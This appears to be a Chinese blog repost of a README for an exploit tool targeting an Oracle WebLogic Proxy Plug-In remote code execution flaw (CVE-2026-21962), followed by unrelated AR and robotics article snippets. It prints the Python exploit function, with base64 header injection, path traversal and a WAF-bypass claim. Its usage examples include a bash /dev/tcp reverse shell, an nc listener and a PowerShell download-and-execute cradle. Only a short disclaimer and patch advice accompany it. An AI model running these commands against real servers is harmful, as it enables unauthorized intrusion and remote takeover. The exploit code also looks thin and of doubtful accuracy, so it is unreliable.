CVE-2026-21962漏洞利用工具:Oracle WebLogic代理插件未授权RCE检测与利用

CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE

项目描述

该项目提供了一个针对Oracle WebLogic Server代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过HTTP协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。

影响组件

  • Oracle HTTP Server(版本12.2.1.4.0、14.1.1.0.0、14.1.2.0.0)
  • Oracle WebLogic Server代理插件(用于Apache HTTP Server和Microsoft IIS)

功能特性

核心功能

  • 自动漏洞检测:通过多种常见路径(/weblogic//wl_proxy//bea_wls_internal//_proxy//proxy/)探测目标系统是否存在漏洞
  • 远程命令执行:能够执行用户指定的任意操作系统命令
  • Payload编码:自动对Payload进行Base64编码,以绕过某些WAF/过滤器
  • 多种攻击向量:支持通过不同HTTP头(WL-Proxy-Client-IP、Proxy-Client-IP、X-Forwarded-For)注入Payload

高级特性

  • 跨平台支持:兼容Linux/Unix和Windows目标系统
  • 灵活Payload:支持执行简单命令、复杂Shell脚本或PowerShell命令
  • 输出解析:自动提取并显示命令执行结果
  • 错误处理:完善的异常处理和超时控制机制

检测能力

  • 支持通过HTTP状态码(200、302、500)判断漏洞存在性
  • 能够捕获并显示命令执行的输出结果
  • 提供详细的调试信息和错误报告

安装指南

环境要求

  • Python 3.x:确保系统已安装Python 3
  • 依赖库:需要安装requests
  • 操作系统:支持Linux、macOS和Windows

安装步骤

设置执行权限(可选)

chmod +x CVE-2026-21962.py 

安装Python依赖

pip install requests 

克隆或下载项目文件

git clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git cd Ashwesker-CVE-2026-21962 

验证安装

运行以下命令验证安装是否成功:

python3 CVE-2026-21962.py --help 

如果看到帮助信息,说明安装成功。

使用说明

基础使用

基本语法
python3 CVE-2026-21962.py <target_url>"<command>"
参数说明
  • target_url:目标服务器的URL(例如:http://target:7001https://oracle-server:4443
  • command:要执行的命令(例如:idwhoami或反向Shell命令)

使用示例

1. 基本信息收集

执行系统命令来验证漏洞:

python3 CVE-2026-21962.py http://target:7001 "id && whoami && uname -a"
2. 获取文件系统信息
python3 CVE-2026-21962.py http://target:7001 "ls -la / && df -h"
3. 反向Shell(Linux目标)

首先在攻击机启动监听:

nc -lvnp 4444

然后执行漏洞利用:

python3 CVE-2026-21962.py http://target:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
4. Windows目标利用
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"

输出说明

  • 成功迹象:HTTP状态码为200、302或500
  • 命令输出:如果命令有输出,会显示前1500个字符
  • 静默执行:如果命令执行成功但没有输出,会显示相应提示

注意事项

  1. 目标端口:通常WebLogic服务运行在7001端口,HTTPS服务可能运行在4443端口
  2. SSL证书:对于自签名证书的目标,可能需要禁用SSL验证
  3. 路径探测:工具会自动尝试多个常见代理插件路径
  4. WAF绕过:使用Base64编码和多种HTTP头尝试绕过防护

核心代码

主漏洞利用函数

defexploit(target_url, command):# 漏洞利用端点(常见代理插件路径) vuln_paths =["/weblogic/","/wl_proxy/","/bea_wls_internal/","/_proxy/","/proxy/"]# 构造触发反序列化/命令注入的恶意头部# 实际触发使用特制的WL-Proxy-Client-IP或类似头部# 结合绕过验证的特制URI payload =f"cmd:{command}"# Base64编码Payload以绕过WAF/过滤器 encoded_payload = base64.b64encode(payload.encode()).decode()# 构造恶意HTTP头部 headers ={"WL-Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","Proxy-Client-IP":f"127.0.0.1;{encoded_payload}","X-Forwarded-For":f"127.0.0.1;{encoded_payload}","User-Agent":"Mozilla/5.0 (compatible; Exploit/1.0)","Accept":"*/*","Connection":"close"}# 触发插件漏洞的特制URI uri ="/weblogic/..;/bea_wls_internal/ProxyServlet"# 尝试所有可能的漏洞路径for base_path in vuln_paths: full_url =f"{target_url.rstrip('/')}{base_path}{uri}"print(f"[*] 尝试路径: {full_url}")print(f"[*] 执行命令: {command}")try:# 使用GET请求,某些配置下POST也可用 r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)# 根据HTTP状态码判断是否成功if r.status_code in[200,302,500]:print(f"[+] 可能成功!状态码: {r.status_code}")if r.text.strip():print("\n可能的命令输出/响应:\n"+"-"*60)print(r.text[:1500])# 显示前1500字符避免信息过多print("-"*60)else:print("[+] 命令静默执行(无输出)")returnTrueelse:print(f"[-] 状态码 {r.status_code} - 此路径无漏洞")except Exception as e:print(f"[-] 路径 {full_url} 错误: {e}")print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")returnFalse

命令行参数解析

if __name__ =="__main__":# 创建参数解析器 parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")# 目标URL参数 parser.add_argument("target",help="目标URL (例如 http://target:7001 或 https://oracle-server:4443)")# 命令参数 parser.add_argument("cmd",help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1')")# 解析参数并执行漏洞利用 args = parser.parse_args() exploit(args.target, args.cmd)

漏洞检测逻辑

# 漏洞检测的核心逻辑# 1. 构造包含恶意命令的Payload# 2. 使用Base64编码绕过基本防护# 3. 通过多个HTTP头部字段注入Payload# 4. 使用路径遍历技术访问代理Servlet# 5. 分析响应判断漏洞是否存在# 关键点:# - 使用分号分隔IP地址和命令Payload# - 尝试多个可能的代理插件路径# - 支持HTTP和HTTPS协议# - 包含完善的超时和错误处理

安全注意事项

# 重要安全提示:# 1. 此工具仅用于授权的安全测试# 2. 在非授权系统上使用是非法的# 3. 使用前需获得明确书面授权# 4. 遵守所有适用法律法规# 技术建议:# 1. 及时应用Oracle 2026年1月关键补丁更新# 2. 限制对受影响服务的网络访问# 3. 监控HTTP流量中的可疑行为# 4. 定期审查系统日志和安全控制措施

版本兼容性

该工具设计用于以下受影响版本:

  • Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
  • WebLogic Proxy Plug-in for Apache/IIS

免责声明: 所有PoC代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的,作者不承担任何滥用责任。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPtA7C84tFVwza9UVc8THXK
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

Read more

Spatial Joy 2025 全球 AR&AI 赛事:开发者要的资源、玩法、避坑攻略都在这

Spatial Joy 2025 全球 AR&AI 赛事:开发者要的资源、玩法、避坑攻略都在这

《Spatial Joy 2025 全球 AR&AI 赛事:开发者要的资源、玩法、避坑攻略都在这》 Spatial Joy 2025 Rokid乐奇 全球 AR&AI 开发大赛 值不值得参加?不少参加过连续两届 Rokid乐奇 赛事的老兵,纷纷表示非常值得参加。 先说最实在的——奖金。 AR赛道分为应用和游戏两个赛道,金奖各20万人民币,而且是现金!交完税全是你自己的!这还不够,AR赛道总共设了27个奖项,据我打听到的往年数据,能正常跑进初赛的作品大概就60-70个,这意味着获奖比例相当高。 20万就封顶了吗?远远没有!亚马孙科技给使用Kiro并获奖的开发者,在原奖金基础上再加20%现金奖励! AI赛道同样设置了27个奖项,奖金从1万到5万不等,主要以智能体开发为主,支持市面上所有智能体平台的适配。也就是说,你之前做的智能体微调一下就能参赛! 更重要的是,现在正是智能眼镜行业爆发前夜。据我观察,

深入浅出:增强现实(AR)技术全解析

深入浅出:增强现实(AR)技术全解析

🚀 深入浅出:增强现实(AR)技术全解析——从概念到硬件 💡 导读:想象一下,未来维修工程师只需戴上一副眼镜,复杂的电路图就直接投射在设备上;游客举起手机,古老的遗迹就能在原地“复原”出当年的辉煌。这,就是增强现实的魔力!本文将为你系统拆解AR技术,带你从入门到精通。 一、🎯 基本概念:什么是增强现实? 增强现实,这个听起来很科幻的词,核心思想其实很简单:给真实世界“加特效”。 与虚拟现实创造出一个完全数字化的、沉浸式的世界不同,AR致力于将数字信息无缝地叠加到我们生活的真实世界中。它不是要取代现实,而是要做现实的“增强版插件”,为我们提供更多维度的信息。 AR核心三要素,一个都不能少: * 👁️ 虚实结合:虚拟信息和真实环境同框出现。 * 👆 实时交互:虚拟信息能对你的一举一动做出反应。 * 📐 三维注册:虚拟物体能稳稳地“坐”在真实世界的某个位置上,不会飘走。 二、✨ AR的三大核心特点 1. 🎎 虚实结合 这是AR的基石。它打破了屏幕的界限,让数字精灵“

ABB 机器人虚拟示教器基础操作教程

ABB 机器人虚拟示教器基础操作教程

一、基础操作界面与模式 1. 操作模式切换 * 手动模式:用于编程、调试和手动操作 自动模式:用于程序自动运行(需满足安全条件) 2. 动作模式选择(手动模式下) * 单轴模式:单独控制每个关节轴(1-6轴) * 优点:最直观,与坐标系无关 * 用途:调整机器人姿态,避免奇异点 * 线性模式:TCP沿直线运动 * 重定位模式:TCP位置不变,只改变工具姿态 点击示教器左上角 进入菜单栏 3. 坐标系选择(线性/重定位模式下) 四个可选坐标系: * 大地坐标系:机器人安装的基础坐标系 * 基座坐标系:机器人底座中心为原点(多数基本选择) * 工件坐标系:用户自定义的工作平面 * 工具坐标系:以工具末端为原点 二、三大核心数据设置 1. 工具数据(tooldata) 定义:描述工具(

安全即策略,实现负责任的机器人操作

安全即策略,实现负责任的机器人操作

25年5月来自香港理工、哈工大、汉堡大学、深圳鹏城实验室和Agile Robots AG的论文“Don’t Let Your Robot be Harmful: Responsible Robotic Manipulation via Safety-as-Policy”。 在机器人操作中,机械地执行人类指令可能导致严重的安全风险,例如中毒、火灾甚至爆炸。本文提出一种负责任的机器人操作方法,该方法要求机器人在完成指令和执行复杂操作时,能够考虑真实环境中的潜在危险,从而实现安全高效的操作。然而,现实世界中的此类场景变化多端,且对训练构成风险。为了应对这一挑战提出“安全即策略”(Safety-as-policy)方法,该方法包括:(i) 一个世界模型,用于自动生成包含安全风险的场景并进行虚拟交互;(ii) 一个心理模型,用于通过反思推断后果并逐步培养安全认知,从而使机器人能够在规避危险的同时完成任务。此外创建SafeBox合成数据集,其中包含一百个具有不同安全风险场景和指令的负责任机器人操作任务,有效降低了真实世界实验的风险。 初步研究 利用语言指令控制机器人,人类无需指定每个动作的